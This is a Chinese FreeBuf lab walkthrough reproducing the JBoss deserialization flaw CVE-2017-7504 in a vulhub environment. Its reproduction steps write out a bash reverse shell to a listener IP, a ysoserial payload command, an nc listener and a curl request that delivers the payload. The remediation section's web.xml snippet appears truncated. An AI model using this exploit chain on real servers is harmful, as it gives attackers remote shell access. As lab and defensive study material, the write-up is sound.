freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[JBoss JMXInvokerServlet 反序列化-CVE-2017-7504]
2022-12-28 00:10:03
所属地 山东省

1、漏洞分析

https://paper.seebug.org/312/

2、漏洞原理

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

3、影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

4、环境搭建

https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization
初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。
我们这里用vulhub靶场里面的环境。
图片.png
1、启动成功,我们访问:http://192.168.61.129:8080/
图片.png
2、该反序列化漏洞在下面这个URL中。
http://192.168.0.11:8080/jbossmq-httpil/HTTPServerILServlet

5、漏洞复现

1、我们本次使用到的工具:https://gitcode.net/mirrors/frohoff/ysoserial/
2、本步骤我们使用工具ysoserial来生成序列化数据,构造POC,使用bash反弹Shell,nc接收反弹回来的Shell。
3、我们使用的反弹payload如下。
bash -c bash -i >& /dev/tcp/192.168.61.128/6666 0>&1

这里我们需要将反弹命令进行Bash64编码,然后放到Payload里面中。
我们用作编码的网站:https://base64.us/
图片.png
4、ysoserial的用法如下。
java -jar ysoserial.jar [payload] '[command]'

• [payload]:利用库,根据服务端程序版本不同而不同,如有报错,可尝试跟其他利用库
• [command]:待执行的命令

5、我们首先执行如下命令。
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
图片.png

最终生成POC文件poc.ser。
6、我们nc本地监听端口6666。
重新打开一个终端,执行如下命令。
nc -lvp 6666
图片.png

7、发送请求,获得shell。
服务器收到POST的方式发送的序列化数据,会进行反序列化,执行其中包含的命令,将Shell反弹至kali机器的6666端口,
我们使用curl命令来发送请求,打开命令行,执行如下代码。
curl http://192.168.61.129:8080/invoker/readonly --data-binary @poc.ser
图片.png

8、成功反弹Shell。
图片.png

6、修复建议
不需要http-invoker.sar 组件的用户可直接删除此组件。
添加如下代码至http-invoker.sar下web.xml的security-constraint标签中,对http invoker组件进行访问控制。
/*

6、欢迎大家关注公众号,有更多精彩的文章!!!

image

# 漏洞复现
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者